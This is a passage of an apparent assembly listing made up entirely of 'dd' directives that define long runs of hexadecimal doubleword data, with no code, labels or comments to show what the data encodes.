66020965h, 3006C2DDh, 0D9483CABh dd 55280530h, 0C0FBCB87h, 745C6749h, 46381900h, 0A51F4EBFh dd 32C10E8Ch, 80FC0409h, 42200C64h, 9D123F35h, 37009731h dd 0A60654B0h, 7F740037h, 671A4123h, 0D008B3Fh, 88140A11h dd 1ECD1E7h, 2F5457D2h, 8B6882EEh, 80FADD54h, 19B095AFh dd 0E54B002Bh, 0D2F8D6B7h, 0CE1D8E68h, 1F871DADh, 0ACB04F1Ch dd 0ECF5835Dh, 79370FA2h, 30263ADAh, 5101104Dh, 740DF80Eh dd 0E2EC278Fh, 4A071F7Ch, 3980BCD2h, 56B3DD88h, 94001834h dd 15FFC373h, 4813F5h, 0BA328EE5h, 0E3D3ADD9h, 0A4535200h dd 0B10B1ED2h, 0FBA90049h, 696A89ABh, 5F010CFEh, 46EA7101h dd 59C065F8h, 0D933008Eh, 35160742h, 4B2698FBh, 94006988h dd 865C89CEh, 0E3843C59h, 0D7776A00h, 0F8B016ACh, 9FB97C00h dd 425F7DECh, 0CBCF0F4Eh, 7F0F321Bh, 0D9625400h, 0C490D3F5h dd 91C7507h, 0D6909266h, 7AF718E6h, 0FDF6B1h, 8BAB9F20h dd 61C2CA22h, 3F58702Eh, 0C1F2EC00h, 190DE5Ch, 60EAD80Bh dd 0F8739905h, 0A0B0C73Bh, 7F5EE500h, 853312CAh, 0F2B7F1Ch dd 5893F042h, 4E0D9080h, 1103402Ch, 0BF21886Eh, 3277B983h dd 26B4F06Ah, 0B54A3900h, 0DFC3E4E9h, 977D26C8h, 0E08C0024h dd 0BD6A362h, 5F1A4707h, 9C4044EAh, 0D3ACE2h, 0E1BCEC02h dd 0C0F53D35h, 0A577FF04h, 5CC09645h, 3AA44CEDh, 0B401D465h dd 34111C28h, 0E8382108h, 3B00ADDEh, 17402F50h, 1E5C5Ah dd 0ABB9B6B3h, 0E626ECF9h, 24CCBD1Dh, 981F6800h, 0EA31CE78h dd 4010C0E5h, 2DF1FF9Dh, 3260700Fh, 0E45C2D5h, 6DC44010h dd 0E27A42h, 7C5275ADh, 6562B28Ch, 0AC5E1F00h, 0D1035A6h dd 7F5B00C1h, 0DB977383h, 1600DDDFh, 0EEE5961Dh, 0BF2AA1h dd 0BCE472A5h, 88782E7Ah, 20C79800h, 4DBDCDE0h, 184B60EFh dd 1D48AE6Bh, 74875200h, 7C5A8A80h, 1E3175D7h, 80B6ED7Bh dd 8EC0A3DDh, 0FF006E25h, 51195EF2h, 5289D7h, 189E1C8Ch dd 0A1C86F1Eh, 277AD300h, 30EA96D0h, 0AA81CA6h, 0F94D00E4h dd 34AB11C3h, 53387800h, 0A1C67A71h, 2F4EC7Ch, 0F6299743h dd 48689BBFh, 8C7C5904h, 154BEC00h, 86C4667Dh, 0DB915C89h dd 16472100h, 0EEC5744Fh, 80B6E03Ch, 9DE892AAh, 8042Eh dd 75E5989Ah, 0EB580717h, 0D0663A38h, 2D0093A4h, 553392Fh dd 0A8C79Ah, 8AF450C0h, 0B5BEC829h, 0DC989B00h, 0CA35782Dh dd 16C30F96h, 4C20C57Eh, 7706071Ah, 55E6C4A0h, 27D5D0F3h dd 56764900h, 19B1BEA6h, 8DA0224h, 64384BF2h, 300163E3h dd 1D881EA4h, 65606C1Bh, 2F1A007Ch, 0BA72968Dh, 0D70038B7h dd 1516D535h, 4B6A05h, 59F6A59Fh, 934E31Ah, 63B60216h dd 58A0EC40h, 984A28Ch, 0C6C2E446h, 519ECA00h, 0AA00954Ch dd 0A62173D5h, 6E5318h, 0C6847C06h, 6F31D669h, 16388849h dd 0DC41A397h, 1FD45696h, 3693F30h, 18DB3D57h, 884868B9h dd 3140098h, 32C25192h, 1F99000Eh, 531C47A9h, 638DAC5h dd 3B6703BAh, 95F29C8h, 6BDF5E18h, 0F47284DDh, 0EC65B4C0h dd 67C1011Ah, 80710ACFh, 0A0C2ECA9h, 9C0405FCh, 2C3824C0h dd 409398C0h, 0C72B03EDh, 542AC98Ch, 5DC144D8h, 9CE80724h dd 0FD0321Eh, 0FEF98075h, 7A0C1403h, 0E19363h, 73760811h dd 43A02DE3h, 72204D00h, 5423DD47h, 0A0F4A33Eh, 72EDFB1h dd 0F51036EEh, 39EC037h, 0C500A6E0h, 23495EFh, 1821818Bh dd 28D9B9BBh, 56009C86h, 0AAA36963h, 794C53h, 0B9666425h dd 0D3F61DDFh, 0C7262898h, 810F9A1Ah, 8A27A098h, 0F40988D5h dd 0E7F80Ah, 0D64DE5D4h, 7EF565Eh, 1AACA900h, 83DAE4CAh dd 9AE604h, 2F48F43Bh, 0D7BF285Bh, 63704500h, 1268FDBCh dd 2ECAF4A6h, 0D04935h, 0C6D8C999h, 3B163107h, 3500E20Bh dd 3351157Dh, 74AC0063h, 56B21684h, 0C7734D2Fh, 0C31ADCFBh dd 8A210D13h, 0DFE90000h, 3DEB829h, 2E740AEDh, 0D6FA8F50h dd 0F6E010EBh, 537A7764h, 32087C03h, 0E99F4633h, 17F081E4h dd 0FD8979D6h, 98096432h, 0C00726Ch, 82A6A276h, 0F00FC77h dd 0C4E95FD8h, 96F1D9Bh, 49EAA55Bh, 3BCF5402h, 92F7F0A2h dd 0F032E880h, 5C00076Ch dd 0CF8CB1CDh, 708BD36h, 0D9F8471Ah, 0F481AFAEh, 708F3DA8h dd 0CA282A3Ch, 7801FFBEh, 0B1E8C863h, 64ECD432h, 450E01B6h dd 48BEEF6Ah, 9F308089h, 14EAA158h, 0E43B00E2h, 7A23DA42h dd 87791C19h, 12DB4B00h, 0C891A6E3h, 0F9D1001Fh, 179DBD77h dd 0A1006ADCh, 1C0B15B2h, 0B4C12A4h, 0F07721E3h, 301BF000h dd 700FE42h, 0B84691BCh, 144AF867h, 0F0F2E183h, 401E5A1Eh dd 64416CC1h, 0D9000978h, 4718E4BDh, 5082337Ch, 0A0FCF2B0h dd 10015BFCh, 21C3146h, 0DAD4B55Dh, 4FCC80DBh, 1BAD189h dd 0F6939E0h, 30D090A8h, 5A00B64Fh, 4BEA612Bh, 71EAABDh dd 5E5039DFh, 70D4E7FDh, 0D212B425h, 0FC610628h, 0DA0DAB11h dd 1646EE00h, 6BFE53C3h, 0BB513200h, 954B5517h, 0D8A2A0E8h dd 0A7C8001Dh, 213544F8h, 9700BDD3h, 1FADB18h, 0C43AB8h dd 1456D557h, 0BAEC4629h, 3590F40Fh, 0B26580CCh, 1F838022h dd 80E46A37h, 8636C355h, 0B4006352h, 71CB0ED5h, 3C0942Eh dd 107E6EA7h, 1888788Bh, 0EE1E65F5h, 0CCCF7929h, 47A6609Dh dd 1B908B3h, 35F11DBBh, 0F32CC795h, 0B54410C0h, 31A7EF07h dd 0DB4AD2h, 0F189723Ah, 3492F8h, 0F487EF4Bh, 0DE81560Bh dd 0BFB29904h, 0FAC01075h, 0A078DA7Ah, 2D8A5F0h, 13D78F64h dd 41F748DEh, 487093E4h, 252D0347h, 6CCED534h, 0EF68A1A8h dd 0F93AA300h, 63D49A6Dh, 8DB8EEh, 0BA992BE1h, 0CEF6DA4Fh dd 806118A1h, 242AF411h, 977A54Ah, 0CB55C920h, 83FDD060h dd 0DE010E1h, 189A0099h, 0C3059C5Ch, 80F804A3h, 9F2BD300h dd 61777C38h, 3CA007FBh, 80981BD0h, 2E41F711h, 0B7004771h dd 9F815276h, 0C04327EDh, 15FB3920h, 1B603ECCh, 0BCA77E69h dd 44CF4CC1h, 7100303Bh, 1B9E997h, 70057353h, 4F409F5Fh dd 42D6F8C0h, 272B05ACh, 80CB3C97h, 98AA5B43h, 0BA15B606h dd 155842DDh, 9C7CD5C2h, 3A5B3700h, 0B1751C83h, 0EE6F5E00h dd 0CE95B04Ah, 0DD2D001Bh, 7F0ADA49h, 0FF1D42F0h, 68008B93h dd 0E37A3929h, 55FB0094h, 0EFFAB0D1h, 140B7991h, 0F65CD0h dd 881733B1h, 27ECFE3Bh, 0E67690C5h, 0A0D1D700h, 0FEE0CFDDh dd 5C6D000Fh, 8F281287h, 0AD00D383h, 0C3626FF9h, 6921DEh dd 23C44053h, 82633D20h, 0D39B807h, 37D0D3A9h, 0B8A8A4E8h dd 0E26E007Ch, 89F4AEA2h, 490F1250h, 942C1B58h, 4F068E0h dd 217A30F6h, 0A588011h, 750A1A61h, 6E8515Ch, 0E9AE3E1Bh dd 0B7310D01h, 4787ACF2h, 0C2B4C7B4h, 56E1C22Dh, 0B9D7FCF0h dd 59421731h, 3AE8C926h, 8D50C436h, 7F482084h, 0C1127C4Bh dd 99096C28h, 0FBC440F7h, 0A5009D4Ah, 8D2DF06Dh, 1298F6Eh dd 3E032862h, 8AF5E932h, 6040C061h, 86063F11h, 59021657h dd 913EF907h, 10F68DBh, 5942CCF0h, 76DD7049h, 58D98C00h dd 666FC100h, 64C09E7Fh, 2DAC18F3h, 0AAAEE880h, 0BC0F707Ch dd 27F58D7Ch, 69CD447Fh, 0F71D9C8Ah, 21C0CF4Ch, 1AF45431h dd 5D309576h, 5A84A9FFh, 26184416h, 4B91D304h, 990EFFE0h dd 688F492Eh, 41DA1D03h, 532502Fh, 0F47A0FB6h, 0A9B2D602h dd 4BFD574h, 3E944BF0h, 0A128CB18h, 0C1F8DBh, 0AB3B7083h dd 10199E74h, 4B7D750Eh, 28450D81h, 368C10FEh, 890FF588h dd 0E97C086Dh, 6C10A812h, 0C902E9B9h, 28116FC3h, 0A421AF33h dd 91C8D908h, 248F00B5h, 79D692B1h, 56D0015h, 23825C37h dd 0ED004797h, 69145DAFh, 7509C174h, 72A6006Eh, 3ACEEAFAh dd 309033BEh, 0B06BCC00h, 0F9E4EF8Ah, 4576C3h, 2AC93930h dd 26AED0F8h, 0C5857400h, 0B533F20Eh, 0B60500FEh, 0D19F5473h dd 9D7609E0h, 8CE67D06h, 410DF9Ah, 73B2FB8Fh, 3C6CC316h dd 0B0A7069Ah, 3492A0A1h, 6400DF7Ah, 0A8A4835h, 0F44A1B10h dd 0E9EC69h, 0FBEAF6C0h, 793FC866h, 0A75CC204h, 5490A0EFh dd 435E19h, 916DC1D3h, 32AECAB9h, 8DE8F400h, 8E8F3EC8h dd 0F87A9Bh, 0F9279CCCh, 3D45B31Dh, 0E135B900h, 6EFD4AC7h dd 13940352h, 93A82207h, 0C5804E80h, 97FAE700h, 0B3260A03h dd 53EB00FFh, 0CE6771D4h, 0E8004B8Eh, 181D2E5Ah, 460977h dd 0E3BCFEB2h, 0F8154707h, 4EA4DC00h, 863497DEh, 2FC61F72h dd 1B8A8087h, 0CCD44233h, 3AF23Eh, 0A50926AAh, 3218D1h dd 0E2F3F792h, 21A65B67h, 0DDFBFC00h, 610C70D9h, 0AB90003Fh dd 0FAF6ED24h, 590B4519h, 8E6ADAC0h, 98CDE05Ch, 0F4CAD0B8h dd 35F275h, 0C90C74F0h, 9FFAF7A5h, 9177292Eh, 9E1FEC00h dd 0FAD8Ch, 7F4EE546h, 50A9530Dh, 1E03BEE0h, 15DB95B1h dd 59CEC843h, 52272DDh, 8517DC4Eh, 0FFE400BBh, 44B5E07Ch dd 0BE9A4902h, 0FDCFABAEh, 0A3642640h, 665D1F2Eh, 800ED700h dd 7E33B3h, 13DFC4BBh, 60968463h, 0D00AE98h, 0B438F378h dd 1D20C952h, 80D4F8EBh, 0D9409B8Ah, 8712E3A4h, 1C38C254h dd 933D0C89h, 3F103249h, 1043F707h, 0D610EA96h, 946856h dd 98BFD844h, 820C1C7Bh, 7E5C4E00h, 0F6AFC732h, 306900ABh dd 8E385F2Fh, 40001334h, 0F4CB7E5Bh, 88C14C2Eh, 3E00EA72h dd 0DCB2E60Bh, 126942FFh, 0B4130Fh, 958ACB6Ch, 511D5E4Eh dd 4C80E502h, 73E9F3D8h, 903C73CDh, 0DDFC03FDh, 0F75B608Fh dd 91007A83h, 33D581D4h, 6EEFBAAh, 0F2747172h, 8A03193Ch dd 84585ECFh, 0A41BE0EAh, 0D6EB0006h, 0EEE37B55h, 0C600DD80h dd 0CBD234F2h, 45E926h, 4B3A8718h, 1D174EB0h, 8054FF30h dd 98933EDBh, 0E2D50012h, 38B6F2E7h, 1579E606h, 6D7FB409h dd 3E00EFEh, 0E8F1AA9Eh, 9AC8F6Ah, 261613BAh, 355F3401h dd 3682075h, 0D5CC3B00h, 0B3320CE5h, 3A607872h, 0BF80A520h dd 85F32DBEh, 5C006A99h, 0AD05B439h, 906C2Bh, 0CA6E43A3h dd 0ECA0AEF9h, 0D6302F2Fh, 0A91C0FF0h, 0BFC800F3h, 46180113h dd 0BBA6290Bh, 0E28F5F75h, 7E583B60h, 0A23D0D5Fh, 0DA1780B7h dd 83F659A0h, 1B9A01AAh, 50A3D34Fh, 0C05BC5B6h, 0D413811Ch dd 7000C68Ah, 2A9ABC80h, 0AD430006h, 0CA86733Dh, 0C60028D4h dd 171E0CE2h, 0E1A78934h, 7B48F020h, 0C83A0035h, 6CE04480h dd 703EE754h, 0E51980A4h, 3A6525Dh, 0D0F00BDh, 0DEFFB51Ch dd 7D31BFF5h, 0BE4D94EAh, 5A9CD4h, 0A96825E3h, 7D81ABCFh dd 903B4500h, 0FEC5BA02h, 0B89B0006h, 16EB1475h, 3E007496h dd 2E4AC6B6h, 275326h, 3DE5C9F8h, 0D4135419h, 5BA98E00h dd 486FDA46h, 0C5713CB7h, 24296680h, 46AE244h, 86605500h dd 0EB9C2028h, 0B01F0057h, 0F4F8F52Eh, 0F939793Ch, 0E503BDDh dd 0E0060D38h, 0C8B61CCBh, 712A0737h, 50139F4Ah, 888F33C1h dd 475FBE00h, 7DEA8C29h, 59B8006Eh, 0A504B26Fh, 0DFA58BBh dd 0C900D0EAh, 0AF5EBAC2h, 262407F8h, 0E07DADh, 8035A185h dd 53074D2Ch, 25F73718h, 20A67990h, 1EC71h, 0CFEA03B0h dd 9F94AB55h, 6291CE00h, 8B30C539h, 0B8BE0011h, 65D69993h dd 17E6141Ch, 80209D3Eh, 2A2478F7h, 581B766Bh, 633F1444h dd 0AC4C7400h, 6F7C9CEBh, 18A2450Fh, 0B0A0001Eh, 0E8EF5249h dd 56F0394Bh, 653E163Eh, 8080C53Eh, 0C4DC25Fh, 4A00D336h dd 0DBCD30E7h, 0EC98CE0Eh, 0A0C70434h, 80A15D25h, 20E88B5Ch dd 1839E075h, 0F76100C2h, 0BBCF8DA7h, 0AB8A00F3h, 0E0A4FE0Ch dd 411D55FCh, 9D8052B5h, 0A77B2756h, 4844799Fh, 0D7026D2Fh dd 0C846908Bh, 0DCD45C40h, 80844E4Ch, 4F2CB5ABh, 0E89026h dd 7EC9C2E8h, 323B4BEDh dd 97590B13h, 0EFDFA800h, 1DD3928Bh, 0C05DC0F0h, 358330E9h dd 0AE077D82h, 294FDB67h, 0ABF43AA0h, 3DED00F5h, 0F7A4E8B0h dd 0AC69F004h, 34F8006Ah, 9895AED5h, 3B24E2D5h, 53865AFEh dd 502AC614h, 0CCE363Eh, 1057909Fh, 0EF0A01EAh, 316A8CCCh dd 0E93920C8h, 0AAA74A0Bh, 0A9B4803Dh, 0C2DC9ACh, 0CDA531F7h dd 390C4CD1h, 1135EEAFh, 3EAE000Fh, 749B7F5Dh, 6500EC23h dd 5BF21CD4h, 44F4E67h, 248E6B34h, 0B39CC0B0h, 0B52E7B2Ah dd 3833CE3h, 0D79970h, 2CDC4F70h, 0B320FD97h, 0C44D3500h dd 21FCE595h, 59A100B7h, 7C5B2830h, 4A249AFEh, 8C24FA45h dd 0E906C201h, 98F8E30Bh, 7B282456h, 0BE4A02C8h, 0E0422Eh dd 5B01E40Fh, 0E25966Fh, 0A0DBCE1Eh, 0F2ECADDh, 0DFE02A8h dd 0C2EE007Dh, 0D1EC97ABh, 6264070Fh, 9CB99F28h, 8F07A118h dd 0D2A0F033h, 0F0B737C5h, 437B03B1h, 73E2CE05h, 9ADAFD90h dd 3E93D400h, 0E6970201h, 0B33A000Ah, 4EFC05F8h, 5A187568h dd 0C1F880D1h, 0AC820065h, 43EFC0D7h, 102CB67Fh, 9005D81h dd 9C335CADh, 5106485Fh, 9BD56600h, 817E453Ah, 0EB155205h dd 0FC90294Dh, 2487B1A2h, 0BCD64Fh, 0C13B7454h, 2216BE62h dd 3800F998h, 8C4B84D1h, 42E6094Ch, 0A8A08576h, 1E1C1411h dd 223ADC03h, 3FC6EEDh, 65906130h, 5DF0EF2Bh, 88006912h dd 1D167D22h, 29AF50h, 4C719368h, 7C890C75h, 47A56500h dd 64C0EF78h, 7112CDBh, 94F70E99h, 514EEB80h, 0AB001A48h dd 5AE4C214h, 705FB92Dh, 0CB84803h, 0B7188300h, 0DE6595F9h dd 4711A600h, 1B0887A4h, 244C00C0h, 0B6D2FA69h, 0F00D472h dd 477E6249h, 5C3873Eh, 0D8A4799Dh, 56AC8015h, 0A600C601h dd 0D4EB212Dh, 13CEAAE5h, 0D3DC25h, 2CD97550h, 9C121D79h dd 1B0396FDh, 89B92E54h, 2FDCD0A4h, 3C580078h, 5069FEEAh dd 88007CCAh, 0BDDF6DAh, 1237459Eh, 0C0993C71h, 47B68658h dd 0B098E60Eh, 7C0F776Dh, 0DDCF2053h, 0EC372D2h, 8A056190h dd 0F2689121h, 0F464203Eh, 0BA78E000h, 252C9242h, 26EA16EBh dd 0BC860C7Eh, 2A24A72Ah, 0D181D001h, 19518DADh, 2FF2882h dd 4460C016h, 9014C0Fh, 7A44D3Dh, 0E9C4F42Bh, 0EA771E96h dd 0AEFA00D7h, 21D90139h, 0CC6C7D1Eh, 94A0B3C0h, 95668DF3h dd 0D40072D0h, 0D342C179h, 0B8A832DBh, 44A94CB8h, 0BEC0077h dd 8CD71E6Ch, 0EB012404h, 0A028B48Bh, 5DC0C567h, 0AF5A0090h dd 7E1D5CB8h, 0D0EB4686h, 99002C24h, 7C572070h, 0A1BD97AEh dd 242804F8h, 1E239084h, 0CE00D564h, 0B9EAF6B0h, 1DE50041h dd 0C71AD079h, 47589BBBh, 0F4A60040h, 575DB5D9h, 1BF703C2h dd 0B91EDFC4h, 86300DFh, 6400710Eh, 8D4AC3B2h, 0BFC075h dd 7C77496Ch, 4D079252h, 535E7D05h, 0CA84DBF9h, 6F8FAA00h dd 48DEFD77h, 0C9005C01h, 47246390h, 0FFF2E64Eh, 0D7E2F103h dd 0B27096EBh, 0FC5804h, 6770D54h, 31B057CAh, 3B007EFEh dd 723FC779h, 284F24C9h, 0A829BDh, 939BE54Eh, 0A09D0432h dd 0FCA450Ch, 52E704Bh, 886A2290h, 0F19CC14Dh, 0EA9DE43Ch dd 65C8E600h, 5BA3EEDh, 304A60F7h, 0E4C4FCC1h, 406C9C01h dd 41E817D0h, 8EF66980h, 473C8ABFh, 353B2701h, 59FF2610h dd 2E702D8h, 0D70304E4h, 0A4E0DA1Fh, 8C7BAC55h, 808A933Fh dd 8429CD5Ah, 0EDC635Eh, 9AEAF756h, 33BA6E21h, 2F18702Eh dd 1498F4A3h, 0AB034656h, 0F78AF9EDh, 7723E035h, 2C569009h dd 1E04FDAFh, 7C1980E8h, 0EF1FCFF4h, 5F711700h, 0A0B2493Dh dd 35CFA60h, 0EAAAD497h, 47D96E74h, 1C72A5h, 704F2240h dd 0E1BDD1D8h, 72ACD70h, 8745C549h, 81DA3312h, 9DD06800h dd 46AC6BD9h, 68DC14A5h, 13028892h, 18A0E304h, 8EC5BC80h dd 0D70021DAh, 887B9B96h, 70C6A8ADh, 912C00ACh, 0FAED137Dh dd 0A000F897h, 90689550h, 0B0A678ABh, 3D7FA2h, 0BD2C7C7Eh dd 92658B51h, 0B0FAE61Fh, 0DC36C200h, 8F9961h, 0FF515612h dd 4942681Fh, 0B30118EEh, 15286E6Fh, 12304A17h, 9662014Fh dd 9038C5E7h, 0EADF4251h, 6D7A8783h, 6346FF80h, 6E3D9574h dd 74840794h, 0DB00F371h, 75BC570Ah, 0BF540025h, 5F7CEBB5h dd 9D005B6Fh, 0D509DE48h, 1020E5h, 0D977C999h, 0BA866AE8h dd 0A239667Ch, 94A80F7Dh, 61F8A0BEh, 7ECFA01h, 0D2704D49h dd 557E200Bh, 0A13C42CCh, 1F600F44h, 9B6C2339h, 0FBCC0F3h dd 29EF040Dh, 0C09F6372h, 255811B5h, 0F180626h, 0A3E0B406h dd 6BB20028h, 0ED1C4BB7h, 0DD00C89Ch, 4066A1C3h, 30F82ACCh dd 0BF11B6FDh, 0F40FB486h, 406C4AC9h, 4563962Dh, 0F75401C2h dd 37DE34F6h, 0E429D008h, 0BC28DF03h, 0A87F84B8h, 0FC11BF9h dd 38F220Eh, 1D2AE8C0h, 0B8FAD4F4h, 0CC1AF4Ch, 92945658h dd 4A3700FBh, 453FDB81h, 0E903DFF7h, 0E8844729h, 0BE10005Ch dd 4F09F6DCh, 650042F4h, 27ED6473h, 1D4BAB59h, 80466BBCh dd 26491187h, 900D0A8h, 21B239C9h, 0A68F58h, 0ADE7F964h dd 5301DC4Ch, 2F1DF673h, 30401CE0h, 5F51ACABh, 83310096h dd 0EECFD499h, 0C38E85Bh, 0EC3080D1h, 5D236F2h, 0E22F43Ah dd 0A4652A10h, 77E08E6Fh, 86B6740Bh, 1D1B951Ch, 11420CEh dd 0DD9B90D8h, 185A9440h, 0DE7DDFh, 7FE74A71h, 518E8868h dd 0C5DC0300h, 0E34E0DADh, 46D400BEh, 0A03E1FA4h, 8C3C749Dh dd 903D8FD5h, 3C26403Ah, 8EC458h, 6212A8AFh, 0C241E7B9h dd 2AF3E800h, 0EE849DECh, 28D500BEh, 0D2BB39B3h, 2B308C83h dd 30688CBFh, 53F0F64h, 66A0B817h, 1D12C56Dh, 621FF2F6h dd 0AC02050h, 47087803h, 0C64F0041h, 37AAB8C0h, 9503DBCEh dd 71D57B76h, 650CA84Bh, 0C19B1508h, 8200F894h, 27B98A99h dd 63003F74h, 5B153057h, 0D25A13h, 352E2534h, 18B4029Bh dd 0BD8D9F00h, 3FB50D8Fh, 1D8ECB8h, 335FF5C9h, 0CC9FEA5Dh dd 110E946Ch, 0A08499F9h, 180B6D7Eh, 0FC40FB8Ch, 980F955Eh dd 0BF580394h, 980D01CAh, 5B0754D8h, 2B1D5492h, 0C29CEB27h dd 0DD788003h, 1CB0D3F7h, 75D5B0h, 0BAA8356Eh, 6F0184D6h dd 0A522E534h, 0E0A807B7h, 54520010h, 3AB2A93Fh, 0AB009A50h dd 0B76259D4h, 0E6CE2D5h, 0B054FC30h, 89E239EEh, 2BE07525h dd 5C28AD7Eh, 0C77FD687h, 280F51E4h, 41E96BA8h, 0E2B23037h dd 46A030h, 0ACA3F1C9h, 0E229FF7h, 0F402BEE8h, 0A5BD382Dh dd 0D7684241h, 44826960h, 6B004890h, 0CD2CA9C1h, 0A67EF6h dd 0B70930D2h, 38ACE2DDh, 7FE47D00h, 0CF8770AFh, 0EDB03D9h dd 10EDCC28h, 34F6AC0h, 0C5FFA700h, 6215F6C4h, 338FA192h dd 3A2160h, 17E0FDDFh, 0CAD85C7Ah, 0B1CB1503h, 0B029A090h dd 5D73FCh, 3A19C6CCh, 67917E64h, 88A8471Ch, 3EF16980h dd 3DAA4F9h, 404D6196h, 5B8EA71h, 0CC0FD86Ch, 0DEB8F76Bh dd 4E0AC1C0h, 95206F19h, 28910F50h, 36A3E800h, 12BC76h dd 6BE6803Ah, 66B5DE93h, 403249h, 0A082BA3Dh, 70F06946h dd 451E1F2Ah, 6B420E5Dh, 6E3AC5A1h, 4C28300Bh, 7F8D4607h dd 87811126h, 9BE4D374h, 84DB00F2h, 0DE4520CDh, 0D60BC0F8h dd 0B09904h, 53892235h, 6F7717A3h, 2F46C0A0h, 0A7F63936h dd 7AA27300h, 0E2195B24h, 7CB4030Ah, 4C46B53Fh, 0AF4ADCA0h dd 0A2E4B200h, 0DAD51BC9h, 0E5160099h, 0B06736E0h, 3F282139h dd 354CB808h, 6EAC0027h, 0B83BA65Eh, 2B8A00BBh, 1F6BECF0h dd 7501C351h, 6354AFA2h dd 1AF84958h, 6EA000F6h, 4F0BAE79h, 6400CE56h, 0C365B1D7h dd 60A9D5Ah, 8A498909h, 3B026837h, 5E3E3CC0h, 0DF97C143h dd 5D31880h, 861E8E5Ch, 640C29C0h, 1FFED73Dh, 0BAE49423h dd 5818900Ch, 167CE120h, 0B375F81Ch, 6097B6CFh, 59BEA746h dd 1021F17Eh, 0FABC609Eh, 0B7D3E160h, 0BA18AB71h, 0EA799D7Ch dd 0B1CF12CEh, 215319A3h, 5D03E0D5h, 383D8530h, 0A3238937h dd 0DCF3904Ch, 4B733AD9h, 6605D002h, 1087608Eh, 1C5A5Eh dd 0DBAB89B3h, 0E7003311h, 71750831h, 0B80799E8h, 0B54012C3h dd 63C507FCh, 0C5E9304Ah, 0A1008209h, 0A61EAFE8h, 4877BA51h dd 0DC0067DAh, 19E50B0Eh, 0A700B8CBh, 7496C47Ch, 0F61AD62Dh dd 0F5980B03h, 4480AA20h, 91B5697Bh, 0A6BCF400h, 0A0497128h dd 0E187022Dh, 3C52D008h, 8A178CA0h, 0C203241Eh, 0BA8B418Ch dd 110830FCh, 1E620521h, 201F9590h, 61460FE4h, 0F18F04h dd 0A95FECD4h, 0A65D947Ah, 0F3F1B200h, 9752933Eh, 7174E4h dd 1C87A7D5h, 318FA82Dh, 9173006h, 3E18D9AEh, 0DFA69C1Bh dd 9C224Ah, 29B641BBh, 289E885Ah, 471C2E00h, 0D586E1C6h dd 3799C0D8h, 5FCD2D96h, 0A8113C60h, 72D14BC7h, 43A607B1h dd 46ABA189h, 239860A7h, 7EA9C3A0h, 0C3921600h, 40750F8Bh dd 8634925h, 0EE612B16h, 55B09918h, 2FF64024h, 0FBD29910h dd 8CC7A040h, 3F1E8B04h, 2862B4C2h, 639823h, 27F38E20h dd 2F095D0Ah, 0A3927914h, 12106328h, 0C4780038h, 9CDA4648h dd 0B7017Bh, 0A7B1506Ah, 14D60007h, 0C2ED08F9h, 1B002DD1h dd 0C976CAC4h, 0A79855h, 93666D8Eh, 0B7E208FDh, 0DB28F460h dd 635C896h, 51D88EACh, 61004130h, 0D2285A7Bh, 3F72DF0Ah dd 8580B65Bh, 60C3ED38h, 0C0006CFBh, 0D5BBF4DAh, 0CFF6D750h dd 0DC20BC10h, 0B7DB26E6h, 0F330D326h, 0CE359C00h, 0E05AD5A0h dd 1BB100AEh, 1E015556h, 76006838h, 0C2A2DFBDh, 7812F50Dh dd 570E0077h, 2D6D09DDh, 300058A5h, 73DAF3A6h, 380F528Eh dd 5A009CC8h, 42F80BB3h, 5BE2775Eh, 92FDB501h, 0D9B6DFBCh dd 54755080h, 0D26EF003h, 415D180Eh, 87ED803Ch, 605BBEDCh dd 50F5A868h, 10009091h, 153E54B9h, 553356h, 8560DC5Ah dd 884E49E8h, 32BDE600h, 203BB16Ch, 62BB0C25h, 0C42A119Ah dd 1C5140C3h, 91F0A796h, 1CD59EFh, 7493DB6Bh, 0C84E3814h dd 37766E53h, 19BEB800h, 60114918h, 614A006Bh, 1667BBCEh dd 800E33F8h, 6D32B17h, 7C6918F1h, 0C4680E50h, 810C6674h dd 1400E919h, 0FB351C59h, 7BB13CCh, 92E4C08Dh, 8E1EE16Ah dd 69989112h, 3E98930Ch, 6C00A0F1h, 2692DAF2h, 0C334D715h dd 0F9779340h, 0A2614DA8h, 38FF0530h, 31B89B90h, 3C58F660h dd 275180C8h, 5B1D8D71h, 637900F1h, 8EBF68E6h, 5173F925h dd 0F88BA52h, 0C1849443h, 23C77319h, 9861FCh, 9586B171h dd 6A8C1430h, 52460901h, 0EFF81102h, 68FD6BECh, 0FC041051h dd 0FEF10618h, 7CB7D910h, 5DF9001Eh, 2E5546Bh, 87749289h dd 0BF06E900h, 0D60D3ECBh, 290364F6h, 0F4282157h, 4C111312h dd 217324F6h, 17121C7Dh, 89772610h, 44A8081Fh, 22848B2Eh dd 3B447E58h, 0AAA30090h, 30EEE812h, 893AB5CEh, 0C277804Ch dd 8EFDB6C8h, 0EC655ADBh, 27BB0094h, 0A347BAC4h, 0CB230088h dd 9EB20D6Eh, 4A009734h, 3838F5Ah, 603378h, 0E5BCB8C7h dd 6C0F7018h, 642EAD00h, 55D51A3Ah, 1C129837h, 307DE33h dd 6EBB15C4h, 0E345C0C4h, 0DD05FA13h, 0FDE5C190h, 0A169B840h dd 435D4Ch, 52F07FD1h, 903665CFh, 3C67D1Ch, 0F34CD280h dd 3B93019h, 5E3298FAh, 4000FB24h, 237BA0EEh, 0ECDEA9h dd 4741B176h, 0CD1D0B2Ah, 0D87C3C1Dh, 86C3F400h, 0CE8999h dd 88F3BD66h, 172F8063h, 0A730A900h, 20C29339h, 3CF02Bh dd 27248F16h, 6403B537h, 67A58703h, 0C8EAE677h, 6053F1h dd 0D9828ADCh, 0AF763795h, 3403D37Bh, 293A59BCh, 360888E4h dd 0CEC44CB5h, 4A68F00h, 55751F1Ah, 0B3845800h, 8CB89329h dd 0EA05009Fh, 3A302A48h, 2C70A8EDh, 7AF98403h, 909C7EE0h dd 0E7BC5F5h, 0DBBD5E3h, 2A6FA2C0h, 6B07DE99h, 0F2A3AF79h dd 0B458F8A0h, 0EA70017h, 5269E00Ch, 1F00E79Ch, 21612382h dd 19DE08h, 46531533h, 0EE9E7A9Dh, 1C000275h, 0B085E4B8h dd 1429CB60h, 0F488C2EFh, 300B5700h, 19D621D9h, 0E9642712h dd 56169400h, 0C16E8Bh, 37C40ADDh, 0E750997Eh, 7C22F100h dd 0DF74E45Fh, 6891F80h, 880380F2h, 1CCF950Fh, 0A44F600h dd 0D0BAD3CDh, 0A4860097h, 0D25C3330h, 0CA006550h, 0EC4681D4h dd 2DCA7FEh, 671377Ch, 7FE0C8C6h, 0BF1F8822h, 1E822C55h dd 0C0966091h, 0F598C95h, 0CB36328Dh, 20B092Bh, 0A2F03F03h dd 5A5068D0h, 25155702h, 